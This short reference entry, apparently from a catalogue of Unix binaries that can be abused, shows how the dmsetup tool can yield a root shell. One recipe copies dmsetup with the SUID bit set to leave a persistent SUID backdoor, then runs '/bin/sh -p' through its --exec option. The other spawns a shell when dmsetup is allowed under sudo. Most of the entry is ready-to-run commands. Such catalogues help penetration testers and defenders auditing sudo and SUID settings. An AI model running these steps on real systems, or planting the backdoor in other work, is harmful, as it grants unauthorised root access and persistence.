It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which dmsetup) .; chmod +s ./dmsetup'
./dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
./dmsetup ls --exec '/bin/sh -p -s'It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
sudo dmsetup ls --exec '/bin/sh -s'